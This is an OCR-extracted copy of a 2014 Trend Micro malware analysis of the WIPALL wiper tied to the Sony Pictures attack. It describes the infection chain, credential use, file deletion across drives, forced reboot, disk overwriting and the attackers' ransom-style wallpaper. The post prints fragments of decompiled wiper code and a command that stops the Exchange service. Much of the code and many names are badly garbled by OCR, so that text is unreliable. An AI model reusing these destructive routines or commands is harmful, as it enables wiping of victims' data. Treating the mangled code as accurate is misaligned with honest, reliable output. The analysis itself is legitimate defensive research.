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An Analysis of the “Destructive” Malware
Behind FBI Warnings

By Trend Micro :

TrendLabs engineers were recently able to obtain a malware sample of the “destructive malware”
described in reports about the Federal Bureau of Investigation (FBI) warning to U.S. businesses last
December 2. According to Reuters, the FBI issued a warning to businesses to remain vigilant against this
new “destructive” malware in the wake of the recent Sony Pictures attack. As of this writing, the link
between the Sony breach and the malware mentioned by the FBI has yet to be verified.

The FBI flash memo titled “#A-000044-mw” describes an overview of the malware behavior, which
reportedly has the capability to override all data on hard drives of computers, including the master boot
record, which prevents them from booting up.

Below is an analysis of our own findings:
Analysis of the BKDR_WIPALL Malware

Our detection for the malware detailed in the FBI report is BKDR_WIPALL. Below is a quick overview of
the infection chain for this attack.

.
BEDR_WIPALL. A
disk partrmgle.exe

BRDR_WIPALL.B ushdrv3z2.sys

igfxtrayex.exe
s (Gives attacker read/write
access for installed files)

WIPALL infection chain
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The main installer here is diskpartmg16.exe (detected as BKDR_WIPALL.A). BKDR_WIPALL.A’s overlay
is encrypted with a set of user names and passwords as seen in the screenshot below:

PABB3EBBD [Hiew 7.51 (c)SEN |

Figure 1. BKDR_WIPALL.A’s overlay contains encrypted user names and passwords

These user names and passwords are found to be encrypted by XOR 0x67 in the overlay of the malware

sample and are then used to log into the shared network. . Once logged in, the malware attempts to grant

full access to everyone that will access the system root.
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5 = ﬂr!l:-LEunuI(};
srandfus);
stropyl{char «)uih, (const char «){280 = rand{} %18 = RPNTERN))
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{
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Slepp( Bedhi)
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sub dD13ENED

Figure 2. Code snippet of the malware logging into the network

The dropped net_var.dat contains a list of targeted hostnames:

oy == 1)
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B Hiew: net_ver.dat

‘ c -
~net_ver.dat ]

Figure 3. Targeted host names

The next related malware is igfxtrayex.exe (detected as BKDR_WIPALL.B), which is dropped by

BKDR_WIPALL.A. It sleeps for 10 minutes (or 600,000 milliseconds as seen below) before it carries out
its actual malware routines:

v BFes Dooaenl JH léiﬁirw.mﬁlsﬂs

. Eﬂ?ﬁ BCO1 4801 PUEHEEIIEEUHMD FTR OS5: [<&KERNEL32.Sieep>] kernel32.5eep

. 63 COZTOI00 |PUSH 92700 [ GO0008, ms
FFD& E5S1 Slesn

. B2 81000000 |HOU ECK, 51

Figure 4. BKDR_WIPALL.B (igfxtrayex.exe) sleeps for 10 minutes

speJ

spe s lerson
SPE~cI ri—1 1M

Figure 5. Encrypted list of usernames and passwords also present in BKDR_WIPALL.B
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dword_4128E8 = inet_adde (28 a2");
word_4120E4 = BOR8;

dword_L1208E6 = inet_addr("'21] 64™Y
word_H1Z0ERA = BO00;

dword_4120EC = inet_addr("88.77 ™90 g4");
word H120F0 = 8000;

word_S13928 = 2014;

word_&13922 = 10;

word_413926 = 26;

word_H13928 = 5;

word_H1392A = 30;

result = =

switch { result )

case 1687:

Sleep(@x927C0u);

Dest

F a;

memset{&ul, 0, Bx20hu);

uli = B3

wescpy{flest, L"-w");
sub_HB2938{ (int)kiest);
Sleep(BxBBBu);
wescpy(Bhest, L"-m");
sub_&82938( (int)&Dest);
Sleep(OxBEBu) ;
wescpy(blest , L"-d");
sub_ 482930 (int J&Dest);

WEAStartup{ 82020, &USAData);
sub_ 42750 &unk_hL138F8);

duord M1391C = &;
sub_4E82698() ;
sub_4B33EB("cmd.exe fc net stop MEExchangelS JSy™);:
Sleep{Bx6D0DOBU) ;
Fesult = sub LHO2D10();

break;
case 1680:

BYTE =){=(_DWORD =){dword_4%13RDC + &) =+ 1);

ul = GreateThread(d, @, (LPTHREAD START ROUTIHE)Startaddress, 0, 0, 0);
WaitForsingledbject{vi, BxFFFFFFFFu);

resull

break;
case 1089:

result

break;
case 119:

resull

brealk;

}

H

return result;

= CloseHandle{u1);

= sub_HM1&3I0();

= sub_4D27AB();

Figure 6. Code snippet of the main routine of igfxtrayex.exe (BKDR_WIPALL.B)

This malware’s routines, aside from deleting users’ files, include stopping the Microsoft Exchange

Information Store service. After it does this, the malware sleeps for another two hours. It then forces the

system to reboot.

wil = EetfurrentProcess{);

result = OpenProcessTobenful, Ox28u, BYoMenHandle);
if [ resulk )
{
LoskupPrivilegeFalued{d, L*SelhutdownPrivilege®, (PLOID)}HewState Privileges);
Hewitate PrivilegeCount = 13
pewstate Privileges[ @] .Attributes = 23
fdjust TokenPrivi Leges{ Tokenllandle, @, GHreitate, @, 0, @);
iF { GatlastEriar() )
resgll = ﬂ:
else
Fesnll = EXfitWindowsEx " yx06", @) ¥= @:
¥
return resullt;

Figure 7. Code snippet of the force reboot

It also executes several copies of itself named taskhost{random 2 characters}.exe with the following

parameters:

47



e taskhost{random 2 characters}.exe -w — to drop and execute the component Windows\iissvr.exe

e taskhost{random 2 characters}.exe -m — to drop and execute Windows\Temp\usbdrv32.sys
e taskhost{random 2 characters}.exe -d — to delete files in all fixed or remote (network) drives

swprintf{{wchar_t =)&String, {size EIL"%shy=.#", Format};
vi = FindFirstFileW{&String, &FindFileData);
if ( vi == (HAHDLE)-1 )

{

result = 13

H

else

{

do

{

swprintF{EHunber0fBytesWritten, (size EtIL*Rs\\%s", Format, FindFileData.cFileHame);
if { FindFileData.dwFileAttributes & Bx18 )

{
if { wescep(FindFileData.cFileHame, L*."})
b woescap({FindFileData.cFileHame, L*.."}
& _wosicmp{BBuffer, BHumberOfFBytesiritten) )
if { _wcsicmp{&pszPath, EHunberlfByteslritten) )
sub_kE22DA{EHunberOfBytesifritten);
¥
b
else
{
sub_L@2458{EHunberdFBytestritten);
DeleteFileW{EHunberOFBytestritten);

¥

Figure 8. The malware deletes all the files (format *.*) in fixed and network drives

The malware components are encrypted and stored in the resource below:

iy =

y] =

g = i3
iF [ (111 }
{

sub_ H@17200(});
GetHoduleHandleW{ @) ;

ud = FindResourceW;

v = FindResourceW{uvi, (LPCUSTR)OxB83, L*ICOH PACKAGES");
u5s = LoadResource{vz, vh);

uith = L"ICOH_PACKAGES" ;

uwh = yhg
vis = 1313
H
else
i

v3 = FindResourceW;

wi = FindResourceW{u1, (LPCWSTR)@x81, L"I1CON_PACKAGES™);
uE = LoadResource{v?, wi);

ult = L"ICDOH_PACKAGES™;

uh = v8;

s = 129;

H

vl = ypIfu, (LPCUSTR)U1S, wvi6);
U118 = SizeaFResource(u?, u9):
GlobalUnlock{ud);
sub_bB1008(&u18);

2 = B3

sub_HE1238(vh, viny;

GetTempPathW(0xa00u, BFormab);

swprintf({(wchar_t «#)}&FileMame, (size t)L"%s%s.sys"™, &Format, L"usbdrud™);
u11 = CreatefFiled(&FileHame, Ox40000000u, 3w, 0, 2u, Gx80u, 0);

v12 = u11:

if { vi1 == [(HANDLE}=1 )

sub_HE1a3e(iuein);

{
y2l = =9
rFresult =
H
else

WriteFile{uvi11, vh, vi@, &GNumberOfBytestiritten, O);
CloseMandle{ui12);
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Figure 9. BKDR_WIPALL.B malware components

Additionally, BKDR_WIPALL.B accesses the physical drive that it attempts to overwrite:

v T R T LT T F AR LwE
| 133 = wf DHORD #)"sicalDrived™;
26 = byte hWBF14A3
5 = ward hlll1uEt
= = DWORD 3 lrﬂx;k\.\‘??'\.\. ;
El'r'l:p!j{{llll -]hi ileHame, (const char =)&u27):

| w32 = ={ DWORD =)* "\"'.,F'lll_,l':J.l.rﬂ[lF iven”
[ an = = Ill..l:l-tI )"

Figure 10. BKDR_WIPALL.B overwrites physical drives

We will be updating this post with our additional analysis of the WIPALL malware.
Analysis by Rhena Inocencio and Alvin Bacani

Update as of December 3, 2014, 5:30 PM PST

Upon analysis of the same WIPALL malware family, its variant BKDR_WIPALL.D drops
BKDR_WIPALL.C, which in turn, drops the file walls.bmp in the Windows directory. The .BMP file is as
pictured below:

Hacked

o

Warning :

We've aiready warned you, and this Is justia
We continue till cur reguest be met.
We've obtained all your internal data inclu i
if you don’t obey us, we’ll release data unmyp below to:the world.
Determine what will you do till November the 241h; 11:00 PM(GMT).
Data Link : "
htlps.ﬁm.nl]— ims om m cn"mn impe = mm, ® PMata.zip
http://dosgims 0 1 o om o e ™ Hata.zip
http://www.ntosl =, = Sela.zip :
http:// WwWW.tH s e m m— Hﬂata.rlp
_http://moodle.widkis skl il ch.com.br/SPEData.zip

Figure 11. Dropped wallpaper

This appears to be the same wallpaper described in reports about the recent Sony hack last November
24 bearing the phrase “hacked by #GOP.” Therefore we have reason to believe that this is the same
malware used in the recent attack to Sony Pictures.

Note that BKDR_WIPALL.C is also the dropped named as igfxtrayex.exe in the same directory of
BKDR_WIPALL.D.

We will update this blog entry for more developments.
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Additional analysis by Joie Salvio

This entry was posted on Wednesday, December 3rd, 2014 at 4:06 pm and is filed under Bad Sites, Malware . Both comments

and pings are currently closed.
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